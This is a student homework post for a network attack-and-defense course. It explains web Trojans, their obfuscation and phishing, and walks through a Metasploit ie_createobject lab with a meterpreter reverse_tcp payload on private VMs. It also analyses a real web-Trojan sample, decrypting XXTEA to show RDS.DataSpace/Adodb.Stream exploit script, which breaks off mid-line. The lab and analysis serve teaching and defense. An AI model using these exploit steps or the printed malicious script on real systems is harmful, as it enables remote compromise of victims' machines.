20199309 2019-2020-2 《网络攻防实践》第十二周作业

这个作业属于哪个课程 https://edu.cnblogs.com/campus/besti/19attackdefense
这个作业的要求在哪里 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10695
我在这个课程的目标是
这个作业在哪个具体方面帮助我实现目标 熟悉了解Web浏览器的技术发展与安全威胁
作业正文 1.实践内容、2.实践过程、3.学习中遇到的问题及解决、4.实践总结
其他参考文献 见正文最后部分

1.实践内容

1.1 Web浏览的安全问题与威胁

20199309 2019-2020-2 《网络攻防实践》第十二周作业_第1张图片

1.2 Web浏览端的渗透攻击威胁————网页木马

网页木马的定义:网页木马是对Web浏览端软件进行客户端渗透攻击的一类恶意移动代码,通常以网页脚本语言如JavaScript、VBScript实现,或以Flash、PDF等恶意构造的Web文件形式存在,通过利用Web浏览端软件中存在的安全漏洞,获得客户端计算机的控制权限以植入恶意程序。

网页木马的攻击流程:
20199309 2019-2020-2 《网络攻防实践》第十二周作业_第2张图片
网页木马的特性:
(1)网页木马的本质核心————浏览器渗透攻击
以MS06-014安全漏洞的渗透攻击代码为例,来说明网页木马的具体实现机制:Windows操作系统默认安装的MDAC数据库访问组件RDS.DataSpace中CreateObject()方法创建的ActiveX控件无法确保能够进行安全的交互,导致远程代码执行漏洞。该安全漏洞利用VBScript代码,通过RDS.DataSpace对象来创建XMLHTTP对象来下载远程的恶意程序,并利用DataSpace漏洞,由Adodb.Stream对象绕过应有的安全控制将下载文件流写入到文件系统中的指定位置,并同样利用RDS.DataSpace漏洞由创建的 Shell.Application对象绕过安全机制直接激活已保存在文件系统中的恶意代码。
(2)网络访问流量重定向机制机制:
  1)内嵌HTML标签
   - 最为简单和常见的流量重定向机制:iframe嵌入外部页面链接
   -
   - frame,body onload事件,css标签等
2)恶意Script脚本
   - 很常见:利用script标签通过跨站脚本包含网页木马
   -
   - window.open("URL to Trojan")
  3)内嵌对象链接
   - 调用第三方应用软件或浏览器帮助对象(BHO)的内嵌对象
   - Adobe Pdf / Flash
(3)混淆机制
混淆机制的作用:对抗反病毒软件的检测,并提高反病毒工程师的分析难度,从而使得网页木马攻击网络更难被检测和摧毁。
混淆方法主要有: 1)将代码重新排版,去除缩进、空行、换行、注释等,同时将网页木马中的变量名替换为一组合法的随机字符串,使其失去自我描述的能力,从而干扰阅读分析; 2)通过大小写变换、十六进制编码、escape编码、ode编码等方法对网页木马进行编码混淆; 3)通过通用或定制的加密工具对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数,对密文进行解密,再使用document. write(或eval()进行动态输出或执行,此类混淆方法例如XXTEA网页加密工具; 4)利用字符串运算、数学运算或特殊函数可以混淆代码,一个典型的例子是通过字符串替换函数将网页木马中的一些字符替换为其他字符构成混淆后代码,然后在运行时首先替换回原先的字符,然后进行动态执行; 5)修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件,甚至将网页木马代码拆分至多个文件等。

网页木马的检测技术:基于特征码匹配的传统检测方法、基于统计与机器学习的静态分析方法、基于动态行为结果判定的检测方法、基于模拟浏览器环境的动态分析检测方法

网页木马的分析技术:主要分为静态分析与动态分析,但这两种分析技术都存在缺陷。近年提出的基于模拟浏览器环境的动态分析检测方法,在应对脚本语言特有的混淆变形机制,恢复网页木马原始形态方面取得了良好的效果,并能够进一步结合脚本源码的静态结构分析以及安全漏洞特征检测方法,来达到更好的检测效果。

网页木马防范措施:提升操作系统与浏览器平台软件的安全性;安装与实时更新一款优秀的反病毒软件;养成安全上网浏览的良好习惯,并借助于Google安全浏览等站点安全评估工具的帮助,避免访问那些可能遭遇挂马或者安全性不高的网站;使用Chrome、Safari等冷门浏览器进行上网。

1.3 揭开网络钓鱼的黑幕

网络钓鱼(Phishing)是社会工程学在互联网中广泛实施的一种典型攻击方式,通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出个人敏感信息(如用户名、口令、账号ID、PIN码或信用卡详细信息等。

网络钓鱼攻击的普遍技术流程:
(1)攻击者扫描网段,寻找存有漏洞的服务器;
(2)服务器被攻陷,并被安装-一个Rootkit 或口令保护的后门工具;
(3)攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭建配置与测试工作,使得钓鱼网站上线运行;
(4)攻击者下载群发电子邮件工具,并大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件;
(5)网页浏览的流量开始到达钓鱼网站,潜在的受害者开始访问假冒的钓鱼网页内容,并受欺骗给出个人敏感信息,攻击者通过服务器后台脚本收集这些个人敏感信息。

网络钓鱼攻击的具体技术与策略:
(1)首先钓鱼攻击者需要架设支撑钓鱼攻击的底层基础设施:大规模扫描有漏洞的主机并攻陷主机;架构钓鱼网站,包括假冒各种假冒各种知名金融机构和在线电子商务的前台假冒钓鱼网站等。
(2)欺骗大量互联网用户访问钓鱼网站,具体欺骗技术有:
  1)使用IP 地址代替域名
  2)注册发音相近或形似的DNS域名:Unicode字符
  3)多数真实的链接中混杂关键的指向假冒钓鱼网站的链接
  4)对假冒网站的URL进行编码和混淆
  5)攻击用户网页浏览器存在的漏洞,隐藏消息内容的实质
  6)假冒钓鱼网站的透明性
  8)恶意软件安装浏览器助手工具
  9)修改本地DNS域名和IP地址映射hostd文件

网站钓鱼防范措施
(1)了解网站钓鱼安全威胁与技巧。
(2)增强安全意识,提高警惕:对邮件中包含的链接,仔细核对;登录网银、基金等关键网站,直接访问或通过搜索引擎等。
(3)安装安全软件:补丁、反病毒软件。

2.实践过程

实践一:Web浏览器渗透攻击实验

任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
本次实践以VMware中的kali为攻击机,Windows2kServer为靶机。注意两台虚拟机需要处于同一个网段,两者的IP地址如表所示:

虚拟机 IP地址
kali 192.168.200.2
Windows2kServer 192.168.200.124

选择靶机为Win2KServer,IP地址为192.168.200.124,攻击机为Kali,IP地址为192.168.200.2
首先在kali中msfconsole打开metasploit,然后就是选择漏洞use exploit/windows/browser/ie_createobject设置靶机和攻击机地址set rhost 192.168.200.124、set lhost 192.168.200.2
20199309 2019-2020-2 《网络攻防实践》第十二周作业_第3张图片
20199309 2019-2020-2 《网络攻防实践》第十二周作业_第4张图片

20199309 2019-2020-2 《网络攻防实践》第十二周作业_第5张图片
设置payload为set payload windows/meterpreter/reverse_tcp,并执行run,建立连接。
20199309 2019-2020-2 《网络攻防实践》第十二周作业_第6张图片
下面我们通过靶机的浏览器访问http://192.168.200.2:8080/oTZuHhSp,浏览器返回一串字符,攻击成功。

实践二:剖析一个实际的网页木马攻击场景

问题:

试述你是如何一步步地从所给的网页中获取最后的真实代码的?
网页和JavaScript代码中都使用了什么样的加密方法?你是如何解密的?
从解密后的结果来看,攻击者构造的网页木马利用了哪些安全漏洞?
解密后发现了多少个可执行文件?这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是起什么作用的?

new09.htm文件中,用iframe引用了一个http://aa.18dd.net/aa/kl.htm文件,又用javascript引用了一个http://js.users.51.la/1299644.js,然后分别计算它们的MD5值
分别得到MD5值为:7f60672dcd6b5e90b6772545ee219bd3和23180a42a2ff1192150231b44ffdf3d3。在老师给的资料hashed文件夹中找到这两个文件
一个11KB,一个1KB,先打开第二个文件,发现内容是:
20199309 2019-2020-2 《网络攻防实践》第十二周作业_第7张图片
这显然不是我们想要的内容,于是打开第一个文件:
20199309 2019-2020-2 《网络攻防实践》第十二周作业_第8张图片
由倒数第三行t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74')) ;可以得知这个文件使用了一种被称为XXTEA+Base64的加密方法,对付这种加密方法,我们只要找到它的加密密钥即可。

xxtea_decrypt函数的第二个参数就是密钥,只不过这里只是简单地使用了16进制加密。转换一下有:
密钥是“script”
这里用xxtea在线解密网站来解密,在密钥一栏中填入“script”,在下面大的文本框中粘贴那个文件的全部内容,点“解密”,文本框的内容变为:
20199309 2019-2020-2 《网络攻防实践》第十二周作业_第9张图片
对引号内的内容解密得:

function init (){document. write();}
window.onload = init;
if(document.cookie.index0f('0K' )==-1) {
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb. Stream", "")}
catch(e) {};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("
                    
                    

你可能感兴趣的:(20199309 2019-2020-2 《网络攻防实践》第十二周作业)